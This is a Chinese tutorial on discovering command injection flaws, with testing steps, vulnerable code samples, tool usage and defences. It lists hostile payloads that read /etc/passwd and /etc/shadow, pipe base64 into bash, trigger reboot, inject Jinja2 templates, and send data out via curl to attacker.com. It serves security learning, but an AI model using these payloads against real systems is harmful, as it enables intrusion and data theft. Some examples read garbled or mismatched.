当前位置:首页 > 电脑教程 > 正文

如何发现命令执行漏洞?

挖掘 命令执行漏洞的核心是:寻找应用程序中用户输入(如参数、表单、HTTP头)未经严格过滤或验证,就被直接传递给系统命令执行函数(如eval, system, exec, popen)的点,通过载入特殊字符(| & ; $() `)或命令测试其执行情况。

漏洞原理与危害

技术本质

当应用将用户输入未经净化直接拼接至系统命令(如system()、exec())时,攻破者可通过载入操作符(、&&、)或反引号(`)附加恶意指令。

典型场景

  • Web应用:网络设备管理接口、CI/CD工具、内容管理系统(CMS)插件
  • 非Web场景:IoT设备固件、桌面软件配置功能

危害等级

如何发现命令执行漏洞? 第1张

  • 高危(CVSS 9.0+):直接获取服务器Shell权限
  • 横向威胁:可作为跳板攻破内网系统


黑盒测试挖掘流程

步骤1:识别输入点

显性输入点: - GET/POST参数(如`?cmd=ping+127.0.0.1`) - HTTP头部(User-Agent, X-Forwarded-For) - 文件上传功能(文件名解析) 隐性输入点: - 日志分析功能(读取文件路径) - 系统状态检查(ping/traceroute)

步骤2:载入测试向量

载入类型 测试Payload 适用场景
基础分隔符 ;id && whoami Linux/Unix系统
管道符 | cat /etc/passwd 命令链截断
反引号 `echo test` 内联命令执行
时间盲注 sleep 5 无回显场景
环境变量 ${PATH} 变量改动

关键技巧

  • 使用双写绕过:ls -la(过滤空格时)
  • 编码混淆:base64 "id" | base64 -d | bash(绕过基础过滤)
  • 盲注检测:通过DNS外带数据(curl attacker.com/$(whoami))

步骤3:回显与错误分析

  • 成功特征
    • 返回系统命令结果(如uid=0(root))
    • 异常错误信息(sh: 1: invalid-command: not found)

  • 无回显处理
    • 监听DNS请求(dnslog.cn)
    • 触发延迟响应(ping -c 10 127.0.0.1)

白盒审计核心策略

危险函数追踪

# Python高危函数 os.system("ping " + user_input) # 直接拼接 subprocess.call(user_input, shell=True) # Shell模式启用 # PHP高危函数 system($_GET['cmd']); exec("nslookup " . $input);

数据流分析

  • 从用户输入源($_REQUEST、InputStream)到危险函数的完整调用链
  • 检查过滤逻辑是否允许绕过: $input = str_replace(";", "", $_POST['ip']); // 未过滤`&&` → 可载入`127.0.0.1 && reboot`

上下文逃逸检测

  • 文件路径载入:/dev/null; id → 被误解析为命令
  • 模板引擎滥用:{{config.__class__.__init__.__globals__['os'].system('id')}}(Jinja2)


自动化工具辅助

工具名称 用途 使用示例
Burp Suite 拦截修改请求测试载入 Intruder模块爆破命令分隔符
Commix 自动化命令载入检测 commix -u "http://target/?ip=127.0.0.1"
Semgrep 静态代码扫描 规则匹配os.system($VAR)
tcpdump 监听DNS外带流量 tcpdump -i eth0 port 53

工具局限:自动化工具易误报,需人工验证逻辑上下文。

如何发现命令执行漏洞? 第2张

经典漏洞案例

案例1:网络设备管理后台载入

  • 漏洞点:路由器Ping功能 POST /ping.php HTTP/1.1 Host: router.local ip=192.168.1.1; cat /etc/shadow
  • 利用结果:直接输出系统密码哈希

案例2:Java应用路径拼接漏洞

String cmd = "nslookup " + request.getParameter("domain"); Runtime.getRuntime().exec(cmd); // 未校验domain格式

载入Payload:example.com & calc.exe → 在Windows服务器弹出计算器


防御方案(开发者必读)

  1. 输入白名单
    • 仅允许预期字符(如IP地址:^[0-9.]+$)
  2. 安全API调用
    • 使用参数化函数(Python:subprocess.run(['ping', ip], shell=False)
  3. 最小权限原则

    运行服务的用户降权(非root)

    如何发现命令执行漏洞? 第3张

  4. 沙箱隔离

    Docker容器化执行高危命令

  5. 命令执行漏洞的挖掘需要结合输入点发现、上下文理解、绕过技巧三位一体,安全研究人员应遵循道德准则,所有测试需获得授权,防御的核心在于不信任用户输入,通过设计而非修补解决风险。

    引用说明

    • OWASP Command Injection Guide (2025)
    • MITRE CWE-78: OS Command Injection
    • PortSwigger: Command Injection Vulnerabilities
    • SANS Institute: Secure Coding in Java/PHP

0